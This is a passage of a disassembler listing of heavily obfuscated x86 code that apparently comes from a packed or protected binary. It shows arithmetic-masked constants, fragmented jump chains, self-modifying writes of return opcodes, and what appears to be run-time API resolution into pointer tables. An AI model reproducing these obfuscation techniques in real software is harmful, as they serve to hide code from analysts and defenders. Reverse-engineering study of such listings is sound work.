--------------------------------------------------------------------------- loc_74C468: ; CODE XREF: _0z4jwtox:00750BE2j mov eax, 5073E712h add eax, ebx sbb ecx, ebp xchg ebx, ebp ; START OF FUNCTION CHUNK FOR sub_74E693 loc_74C473: ; CODE XREF: sub_74E693:loc_750BD5j add edi, 0E30F50B5h popf push offset sub_75504B jmp nullsub_235 ; END OF FUNCTION CHUNK FOR sub_74E693 ; --------------------------------------------------------------------------- loc_74C484: ; CODE XREF: _0z4jwtox:0074AA7Dj shl ebx, 0Fh ; START OF FUNCTION CHUNK FOR sub_74F615 loc_74C487: ; CODE XREF: sub_74F615:loc_74AA6Cj rol eax, 18h call sub_74D02D loc_74C48F: ; CODE XREF: sub_74F249+10j jmp loc_748C4B ; END OF FUNCTION CHUNK FOR sub_74F615 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BDFA loc_74C494: ; CODE XREF: sub_74BDFA-6C8Dj jmp nullsub_185 ; END OF FUNCTION CHUNK FOR sub_74BDFA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752520 loc_74C499: ; CODE XREF: sub_752520+4AB2j jg loc_746F3D cdq loc_74C4A0: ; CODE XREF: sub_749306:loc_75556Fj jmp loc_7472FB ; END OF FUNCTION CHUNK FOR sub_752520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753FCE loc_74C4A5: ; CODE XREF: sub_753FCE+Cj sub al, 99h mov edx, [ebp-4] loc_74C4AA: ; CODE XREF: sub_7541BA:loc_74E927j imul byte ptr [edx] cmp al, 0A4h jz loc_7472FB jmp loc_74C5E0 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- loc_74C4B9: ; CODE XREF: _0z4jwtox:0074A107j xor ebp, ebx ; =============== S U B R O U T I N E ======================================= sub_74C4BB proc near ; CODE XREF: sub_747C0C+3F0Cp var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074875B SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0074EE6D SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00755806 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [esp-4+arg_0] push edx push ebx push 328C0A65h pop ebx jmp loc_755806 sub_74C4BB endp ; --------------------------------------------------------------------------- push edx push 0DADA73D2h xor edx, 329DAC81h jmp loc_752B6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_74C4E0: ; CODE XREF: sub_7474B9+17j pop eax add eax, 0A4BAC5DDh and eax, 0F8D556C4h xor eax, 0B8C46F0Fh call sub_746E93 mov ds:off_41F0F0, eax jmp loc_7501FD ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- sbb ebp, 5369634h jmp sub_756834 ; --------------------------------------------------------------------------- loc_74C50E: ; CODE XREF: _0z4jwtox:00753345j lea eax, loc_74EB33 mov byte ptr [eax], 0C3h jmp loc_753129 ; =============== S U B R O U T I N E ======================================= sub_74C51C proc near ; CODE XREF: sub_405815+80p ; sub_408F94+BFp ... call sub_74C527 jmp ds:off_41F090 sub_74C51C endp ; =============== S U B R O U T I N E ======================================= sub_74C527 proc near ; CODE XREF: sub_74553D+3j sub_74C51Cp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745545 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007555E5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0075661F SIZE 0000001A BYTES pop edx jnb loc_745545 mov eax, [esp+4+var_4] jmp loc_7555E5 sub_74C527 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_74C536: ; CODE XREF: _0z4jwtox:loc_755552j retn ; --------------------------------------------------------------------------- loc_74C537: ; DATA XREF: sub_74673E:loc_748EB3o xchg edi, [esp] mov edx, edi pop edi jno loc_754E52 mov eax, [esp] jmp loc_7570B9 ; --------------------------------------------------------------------------- loc_74C54B: ; DATA XREF: _0z4jwtox:loc_74924Ao mov eax, [esp] push edi mov edi, edx xchg edi, [esp] call sub_75364C jmp loc_748AF8 ; --------------------------------------------------------------------------- and ecx, 8282BCF0h jmp sub_74A8F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A4B0 loc_74C569: ; CODE XREF: sub_74A4B0+Ej push edx call sub_750C4E mov eax, 92A798AFh call sub_746E93 mov ds:off_41F118, eax jmp loc_756491 ; END OF FUNCTION CHUNK FOR sub_74A4B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F615 loc_74C584: ; CODE XREF: sub_74F615:loc_74F621j pop eax or eax, 0BF0BD2B5h jnz loc_74AD9E test esi, edi jmp loc_74AD93 ; END OF FUNCTION CHUNK FOR sub_74F615 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C68A loc_74C598: ; CODE XREF: sub_74C68A+1B53j xchg edx, [esp+0] jmp loc_74ACF0 ; END OF FUNCTION CHUNK FOR sub_74C68A ; --------------------------------------------------------------------------- loc_74C5A0: ; CODE XREF: _0z4jwtox:00750AC6j jge loc_753C57 shl esi, 1Bh jmp loc_7576BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7452F3 loc_74C5AE: ; CODE XREF: sub_7452F3+7j mov ebp, esp call sub_74F5B8 loc_74C5B5: ; CODE XREF: _0z4jwtox:00749901j jmp loc_745A98 ; END OF FUNCTION CHUNK FOR sub_7452F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749608 loc_74C5BA: ; CODE XREF: sub_749608+25D9j mov esi, edi pop edi rol esi, 3 or esi, 0C0689862h and esi, 0A678D7B0h jnz loc_74B4B3 loc_74C5D2: ; CODE XREF: sub_749487+21j jnz loc_7458A6 mov eax, [ebp+8] call sub_747820 ; END OF FUNCTION CHUNK FOR sub_749608 ; START OF FUNCTION CHUNK FOR sub_753FCE loc_74C5E0: ; CODE XREF: sub_753FCE-7B1Aj jmp loc_749E71 ; END OF FUNCTION CHUNK FOR sub_753FCE ; --------------------------------------------------------------------------- loc_74C5E5: ; CODE XREF: _0z4jwtox:00748476j call sub_745E95 xchg eax, [esp] mov edx, eax pop eax xchg esi, [esp] mov eax, esi pop esi mov ds:dword_756678, edx jmp loc_752F71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74C601: ; CODE XREF: sub_747AEC+Bj pop eax or eax, 19DF8DE2h and eax, 0D77D3376h loc_74C60E: ; CODE XREF: _0z4jwtox:0075607Aj add eax, 6D179756h mov eax, [eax] or eax, eax jnz loc_74D1AD jmp loc_752798 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_74C623: ; CODE XREF: _0z4jwtox:007528B0j test ebp, 9066DC3Ah jmp loc_7453F5 ; --------------------------------------------------------------------------- mov ds:dword_41F050, eax lea eax, nullsub_19 mov byte ptr [eax], 0C3h jmp loc_74C031 ; --------------------------------------------------------------------------- push esi push 0B917794Bh pop esi or esi, 0A6A3B297h jmp loc_748418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74C654: ; CODE XREF: sub_74D1F3-225Cj and eax, 0AB1186CCh xor eax, 1C63DEC1h add eax, ebp add eax, 429C27AFh mov eax, [eax] jmp loc_748DB2 ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_74C670 proc near ; CODE XREF: _0z4jwtox:007452C9j ; sub_754A3D-E09Ap var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745064 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00745A8D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747BC4 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00749FF4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074AB8E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074ABC6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074B7E2 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074BD5F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074C44A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C703 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C815 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074D185 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DA5D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DABB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E8BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EBEC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074FA46 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750530 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007505A1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007520F1 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007530D5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007533D9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753878 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00753B55 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007547E3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00754D71 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 007559AB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00755BF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756ABA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757336 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0075753E SIZE 0000000E BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-4] mov al, [eax] jz loc_750530 jmp loc_74EBEC sub_74C670 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74C684: ; CODE XREF: _0z4jwtox:0074F7FDj and ebp, 1454FADDh ; =============== S U B R O U T I N E ======================================= sub_74C68A proc near ; CODE XREF: sub_74C670-E86p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074ACF0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C598 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074CC14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E1BC SIZE 00000026 BYTES xchg edi, [esp+0] pop edi xchg esi, [esp-4+arg_0] push edx jmp loc_74CC14 sub_74C68A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746869 loc_74C697: ; CODE XREF: sub_746869+CA8Bj xor ebp, edi loc_74C699: ; CODE XREF: _0z4jwtox:00745591j cdq loc_74C69A: ; CODE XREF: sub_746869:loc_74B694j movzx eax, word ptr [ebp-6] push offset sub_746D87 jmp nullsub_284 ; END OF FUNCTION CHUNK FOR sub_746869 ; --------------------------------------------------------------------------- loc_74C6A8: ; CODE XREF: _0z4jwtox:00745006j xor edx, 5D324A25h jmp loc_753394 ; --------------------------------------------------------------------------- loc_74C6B3: ; CODE XREF: _0z4jwtox:007532ACj jge loc_750CA3 loc_74C6B9: ; CODE XREF: _0z4jwtox:0074D2D2j xor eax, 3B4F6773h pushf not edi jmp loc_750CA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_74C6C7: ; CODE XREF: sub_747290+5F56j cmp ecx, 0F3C953B8h jmp loc_745CA4 ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74C6D2: ; CODE XREF: sub_74FE55-1B67j mov edi, edx loc_74C6D4: ; CODE XREF: sub_746C5E:loc_757470j push 1E0A12Dh pop eax sub eax, 0B19FA1BAh xor eax, 0EA01158Dh and eax, 8ABA06B3h add eax, 65C82709h jmp loc_74B266 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_74C6F7: ; CODE XREF: sub_748C0D:loc_74910Bj call sub_749306 cmp eax, ecx jmp loc_749850 ; END OF FUNCTION CHUNK FOR sub_748C0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74C703: ; CODE XREF: sub_74C670:loc_74D185j jz loc_755BF9 jmp loc_756ABA ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- loc_74C70E: ; DATA XREF: sub_74946E+D428o push 552F7508h pop edx sub edx, 5423AF63h or edx, 57BCBF34h and edx, 0CF24530h add edx, 0FBC328A4h call sub_750DD4 loc_74C731: ; CODE XREF: _0z4jwtox:0074BCDFj mov ebp, [edi] ; =============== S U B R O U T I N E ======================================= sub_74C733 proc near ; CODE XREF: sub_7553F4+9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00746482 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746D9E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074F956 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007511E4 SIZE 0000001C BYTES xchg edx, [esp+0] pop edx ror eax, 17h jmp loc_746D9E sub_74C733 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74C73F: ; CODE XREF: _0z4jwtox:0075727Dj xchg esi, edi or esi, ebx loc_74C743: ; CODE XREF: _0z4jwtox:loc_75726Fj xor eax, 784D8278h call sub_749C06 mov eax, 662F423h call sub_746E93 push edx push 27B52D6Ah jmp loc_74DDA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748D38 loc_74C763: ; CODE XREF: sub_748D38+Aj rol eax, 1 sub eax, 0CF48F716h jmp loc_7523B3 ; END OF FUNCTION CHUNK FOR sub_748D38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C5E loc_74C770: ; CODE XREF: sub_746C5Ej mov eax, ds:dword_748C94 or eax, eax jnz loc_754E7F jmp loc_757470 ; END OF FUNCTION CHUNK FOR sub_746C5E ; --------------------------------------------------------------------------- sub edi, esi jmp sub_748551 ; --------------------------------------------------------------------------- shr ebp, 16h jmp sub_7474B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_74C792: ; CODE XREF: sub_74C874:loc_745973j call sub_746E93 push ebx mov ebx, esi xchg ebx, [esp+4+var_4] jmp loc_755AB5 ; END OF FUNCTION CHUNK FOR sub_74C874 ; =============== S U B R O U T I N E ======================================= sub_74C7A2 proc near ; CODE XREF: sub_74BD26:loc_754A38j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00747E30 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074D28C SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0074EAC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753A58 SIZE 00000005 BYTES push ebx mov ebx, edx xchg ebx, [esp+4+var_4] call sub_745715 mov eax, 637A7446h jmp loc_74EAC7 sub_74C7A2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_74C7B7: ; CODE XREF: sub_74A3AB-D51j lea eax, loc_749785 mov byte ptr [eax], 0C3h jmp loc_749785 ; END OF FUNCTION CHUNK FOR sub_74A3AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F08D loc_74C7C5: ; CODE XREF: sub_74F08D:loc_749785j pop edx call sub_7577AC loc_74C7CB: ; CODE XREF: _0z4jwtox:00757768j xor edi, 0DC2F92A1h push ecx loc_74C7D2: ; CODE XREF: sub_74AE46+3832j jmp loc_74639F ; END OF FUNCTION CHUNK FOR sub_74F08D ; --------------------------------------------------------------------------- add ebx, esi jmp sub_7566FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_74C7DE: ; CODE XREF: sub_7462C2+EFDBj sub ecx, edi mov esi, [edi] loc_74C7E2: ; CODE XREF: sub_7462C2:loc_752B7Aj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_7510C0 jmp loc_752B54 ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_74C7F3: ; CODE XREF: sub_74D1F3:loc_747286j jz loc_7554A3 jmp loc_74BE1F ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- loc_74C7FE: ; CODE XREF: _0z4jwtox:loc_752E86j add ebx, 0C7529459h mov [ebx], eax pop ebx lea eax, nullsub_269 mov byte ptr [eax], 0C3h jmp loc_7485BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74C815: ; CODE XREF: sub_74C670:loc_7505B6j add ebp, 0E7C0EE17h rol eax, 16h test ecx, 2844C31Bh jmp loc_7547E3 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_74C829: ; CODE XREF: sub_750243:loc_74CC7Bj mov [ebp+var_C], eax call sub_7508F9 loc_74C831: ; CODE XREF: _0z4jwtox:00755D6Aj jmp loc_74D453 ; END OF FUNCTION CHUNK FOR sub_750243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C3B loc_74C836: ; CODE XREF: sub_748C3B+4813j jmp loc_751152 ; END OF FUNCTION CHUNK FOR sub_748C3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B079 loc_74C83B: ; CODE XREF: sub_74B079:loc_749C57j or esi, 0F81C95A6h xor esi, 99AD7ECDh add esi, 9D63A49Eh xchg esi, [esp+4+var_4] jmp loc_754618 ; END OF FUNCTION CHUNK FOR sub_74B079 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E11E loc_74C855: ; CODE XREF: sub_74E11E-386Ej and eax, 8A1A0028h xor eax, 8E653C88h push edi pushf push 74906EBDh pop edi add edi, 47464DFBh jmp loc_74C286 ; END OF FUNCTION CHUNK FOR sub_74E11E ; =============== S U B R O U T I N E ======================================= sub_74C874 proc near ; CODE XREF: sub_745828p sub_7496A8+Dj ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745973 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007464C2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 007469B0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074961F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007496BA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C792 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074CB8E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D666 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074E095 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074F277 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755AB5 SIZE 00000005 BYTES js loc_7496BA pop edx mov eax, [esp+0] push edx call sub_745715 push 3D9C1F3Fh pop eax jmp loc_74D666 sub_74C874 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74C88F: ; CODE XREF: _0z4jwtox:0074FA40j xchg ebp, [esp] push edx push 0B7FAD842h pop edx rol edx, 0Fh add edx, 8556E0A4h or edx, 9B44AB0Fh add edx, 4F7A836h jmp loc_7548BF ; --------------------------------------------------------------------------- sbb ebp, ecx push edi jmp sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_74C8BB: ; CODE XREF: sub_74D4D3:loc_74E64Dj mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508F9 loc_74C8BF: ; CODE XREF: sub_7508F9:loc_746406j ; sub_7508F9:loc_74C910j mov eax, [ebp-0Ch] movzx eax, byte ptr [eax] add [ebp-8], eax jmp loc_748EAE ; END OF FUNCTION CHUNK FOR sub_7508F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_74C8CD: ; CODE XREF: sub_74673E+1B2Ej jz loc_750A7D and ebx, ebp jmp loc_74CD65 ; END OF FUNCTION CHUNK FOR sub_74673E ; =============== S U B R O U T I N E ======================================= sub_74C8DA proc near ; DATA XREF: sub_75299B-6FC0o ; FUNCTION CHUNK AT 00746E0A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749692 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749A12 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074A8C1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074ABB7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B071 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074B52B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074C0B2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074DC95 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E5D5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074FFC5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075013F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00752554 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00753957 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007573A4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007575E8 SIZE 00000012 BYTES add eax, 0AFA60Dh add eax, ebp add eax, 0E33C57C9h loc_74C8E8: ; CODE XREF: _0z4jwtox:00745AB8j mov eax, [eax] jmp loc_746E0A sub_74C8DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C55 loc_74C8EF: ; CODE XREF: sub_745C55:loc_754F02j adc eax, 0ED4F9206h test edi, 0ADD7CD23h jmp loc_755731 ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75375E loc_74C900: ; CODE XREF: sub_75375E:loc_754F5Dj xchg edi, [esp+4+var_4] mov [ebp+var_4], eax push offset loc_753567 jmp loc_74ED92 ; END OF FUNCTION CHUNK FOR sub_75375E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508F9 loc_74C910: ; CODE XREF: sub_7508F9+14j jnz loc_74C8BF push offset loc_750616 jmp sub_7540D7 ; END OF FUNCTION CHUNK FOR sub_7508F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B44 loc_74C920: ; CODE XREF: sub_748B44+AC84j ror edx, 1Dh jmp loc_757354 ; END OF FUNCTION CHUNK FOR sub_748B44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74C928: ; CODE XREF: sub_752D11+15E7j or edi, esi cdq push eax loc_74C92C: ; CODE XREF: sub_752D11:loc_74E43Bj mov eax, [ebp-4] jmp loc_754747 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7562F7 loc_74C934: ; CODE XREF: sub_7562F7-760Ej sub edx, 90D7C708h add edx, 0C3B0E0C3h xchg edx, [esp+0] ; END OF FUNCTION CHUNK FOR sub_7562F7 ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74C943: ; CODE XREF: sub_748A22:loc_74EAF8j jmp loc_7552E6 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- test ecx, eax jmp loc_753170 ; --------------------------------------------------------------------------- push 0C0C8B7F5h loc_74C954: ; CODE XREF: _0z4jwtox:loc_7561EAj pop eax and eax, 0D010A865h rol eax, 2 jmp loc_7512B2 ; --------------------------------------------------------------------------- or eax, eax jnz loc_74B6C3 jmp loc_752E7A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3B3 loc_74C970: ; CODE XREF: sub_74C3B3:loc_7510DAj pop edx mov eax, [esp-4+arg_0] push ebp mov ebp, edx xchg ebp, [esp+0] push edx jmp loc_74906B ; END OF FUNCTION CHUNK FOR sub_74C3B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE8E loc_74C980: ; CODE XREF: sub_74AE8E:loc_7523CAj xor edi, 230253F5h add edi, 5ACF4A47h xchg edi, [esp+0] jmp loc_747D83 ; END OF FUNCTION CHUNK FOR sub_74AE8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_74C994: ; CODE XREF: sub_746E37+9CEFj mov edi, esi pop esi or edi, 22EDEEFDh add edi, 0F93B4A51h or edi, 0D6C3C5B2h xor edi, 60FB02CDh jmp loc_7482F5 ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A67 loc_74C9B4: ; CODE XREF: sub_747A67+Bj pop esi mov eax, [esp-4+arg_0] push offset sub_74A25C jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_747A67 ; --------------------------------------------------------------------------- loc_74C9C2: ; CODE XREF: _0z4jwtox:loc_74A964j jz loc_74EEE4 jmp loc_7512CE ; --------------------------------------------------------------------------- loc_74C9CD: ; CODE XREF: _0z4jwtox:0074D32Cj adc esi, eax ; =============== S U B R O U T I N E ======================================= sub_74C9CF proc near ; CODE XREF: sub_74CF91+1p ; FUNCTION CHUNK AT 0074AE17 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0075474C SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 90D15EBDh pop ecx jmp loc_74AE17 sub_74C9CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74C9DE: ; CODE XREF: _0z4jwtox:loc_749A25j mov ebp, [ebx] cmp edx, 0CC7F5363h ; START OF FUNCTION CHUNK FOR sub_74D782 loc_74C9E6: ; CODE XREF: sub_74D782:loc_745DE6j jmp loc_748EE9 ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- mov ds:dword_41F0D4, eax lea eax, nullsub_278 mov byte ptr [eax], 0C3h jmp nullsub_278 ; --------------------------------------------------------------------------- loc_74C9FF: ; CODE XREF: _0z4jwtox:00753477j mov eax, [esp] jmp loc_74FA50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74EF6C loc_74CA07: ; CODE XREF: sub_74EF6C:loc_749DE2j jz loc_74EE3E jmp loc_745C13 ; END OF FUNCTION CHUNK FOR sub_74EF6C ; --------------------------------------------------------------------------- dw 8A0Fh ; --------------------------------------------------------------------------- retn 20h ; --------------------------------------------------------------------------- align 4 jmp sub_7476BB ; =============== S U B R O U T I N E ======================================= sub_74CA1D proc near ; CODE XREF: _0z4jwtox:0075243Bp ; _0z4jwtox:00756C8Ej ; FUNCTION CHUNK AT 0074797C SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx loc_74CA21: ; CODE XREF: _0z4jwtox:loc_74AFB6j push eax loc_74CA22: ; CODE XREF: _0z4jwtox:0074D471j mov eax, edx xchg eax, [esp+0] call sub_74A3AB push 0A1B408F4h pop eax jmp loc_74797C sub_74CA1D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_74CA37: ; CODE XREF: sub_749980+76A2j mov eax, 0D288A1C3h jmp loc_748A5D ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74CA41: ; CODE XREF: sub_748A22:loc_74D933j mov eax, [ebp-10h] jmp loc_74DC40 ; --------------------------------------------------------------------------- loc_74CA49: ; CODE XREF: sub_748A22:loc_74FE3Bj xor eax, eax call sub_757739 loc_74CA50: ; CODE XREF: sub_752DE1+Cj jmp loc_753630 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- mov eax, 66708351h push offset loc_7492B6 jmp locret_7459F8 ; =============== S U B R O U T I N E ======================================= sub_74CA64 proc near ; CODE XREF: sub_74A5E8+4D8Ap ; _0z4jwtox:00755CDBj ; FUNCTION CHUNK AT 0074E24E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074ED35 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755629 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx add edi, ebp add edi, 873558D5h jmp loc_74ED35 sub_74CA64 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745BF7 loc_74CA77: ; CODE XREF: sub_745BF7+9E14j jmp loc_755873 ; END OF FUNCTION CHUNK FOR sub_745BF7 ; --------------------------------------------------------------------------- loc_74CA7C: ; CODE XREF: _0z4jwtox:loc_74EFBFj ; _0z4jwtox:0074EFCDj sub ecx, 0A4DD2C48h add ecx, 0A8D41262h xchg ecx, [esp] jmp sub_754A3D ; --------------------------------------------------------------------------- locret_74CA90: ; CODE XREF: _0z4jwtox:00755E5Fj retn ; --------------------------------------------------------------------------- loc_74CA91: ; CODE XREF: _0z4jwtox:007520C3j jmp loc_757754 ; --------------------------------------------------------------------------- loc_74CA96: ; CODE XREF: _0z4jwtox:0075023Ej jmp loc_749022 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO 